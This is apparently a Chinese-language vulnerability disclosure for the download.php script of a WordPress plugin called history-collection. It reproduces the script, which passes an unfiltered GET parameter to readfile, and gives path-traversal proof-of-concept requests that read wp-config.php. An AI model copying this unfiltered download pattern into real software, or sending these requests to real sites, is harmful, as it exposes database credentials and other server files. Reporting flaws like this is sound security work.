``` <?php $file=$_GET['var']; $filename = $file; // required for IE, otherwise Content-disposition is ignored if(ini_get('zlib.output_compression')) ini_set('zlib.output_compression', 'Off'); // addition by Jorg Weske $file_extension = strtolower(substr(strrchr($filename,"."),1)); if( $filename == "" ) { echo "<html><title>eLouai's Download Script</title><body>ERROR: download file NOT SPECIFIED. USE force-download.php?file=filepath</body></html>"; exit; } elseif ( ! file_exists( $filename ) ) { echo "<html><title>eLouai's Download Script</title><body>ERROR: File not found. USE force-download.php?file=filepath</body></html>"; exit; }; switch( $file_extension ) { case "pdf": $ctype="application/pdf"; break; case "exe": $ctype="application/octet-stream"; break; case "zip": $ctype="application/zip"; break; case "doc": $ctype="application/msword"; break; case "xls": $ctype="application/vnd.ms-excel"; break; case "ppt": $ctype="application/vnd.ms-powerpoint"; break; case "gif":...
``` <?php $file=$_GET['var']; $filename = $file; // required for IE, otherwise Content-disposition is ignored if(ini_get('zlib.output_compression')) ini_set('zlib.output_compression', 'Off'); // addition by Jorg Weske $file_extension = strtolower(substr(strrchr($filename,"."),1)); if( $filename == "" ) { echo "<html><title>eLouai's Download Script</title><body>ERROR: download file NOT SPECIFIED. USE force-download.php?file=filepath</body></html>"; exit; } elseif ( ! file_exists( $filename ) ) { echo "<html><title>eLouai's Download Script</title><body>ERROR: File not found. USE force-download.php?file=filepath</body></html>"; exit; }; switch( $file_extension ) { case "pdf": $ctype="application/pdf"; break; case "exe": $ctype="application/octet-stream"; break; case "zip": $ctype="application/zip"; break; case "doc": $ctype="application/msword"; break; case "xls": $ctype="application/vnd.ms-excel"; break; case "ppt": $ctype="application/vnd.ms-powerpoint"; break; case "gif": $ctype="image/gif"; break; case "png": $ctype="image/png"; break; case "csv": $ctype="application/csv"; break; case "jpeg": case "jpg": $ctype="image/jpg"; break; default: $ctype="application/force-download"; } header("Pragma: public"); // required header("Expires: 0"); header("Cache-Control: must-revalidate, post-check=0, pre-check=0"); header("Cache-Control: private",false); // required for certain browsers header("Content-Type: $ctype"); // change, added quotes to allow spaces in filenames, by Rajkumar Singh header("Content-Disposition: attachment; filename=\"".basename($filename)."\";" ); header("Content-Transfer-Encoding: binary"); header("Content-Length: ".filesize($filename)); readfile("$filename"); exit(); ?> ``` 主要问题出现在 $filename 上 。 在23行对 $filename的后缀 进行了判断 switch( $file_extension ) 但是没有任何过滤。导致可以任意下载文件。 验证方法如下 : http://localhost/simple-fields/wordpress/wp-content/plugins/history-collection/download.php?var=yourfile http://localhost/simple-fields/wordpress/wp-content/plugins/history-collection/download.php?var=../../../wp-config.php php -r "echo @file_get_contents(' http://localhost/simple-fields/wordpress/wp-content/plugins/history-collection/download.php?var=../../../wp-config.php') ;"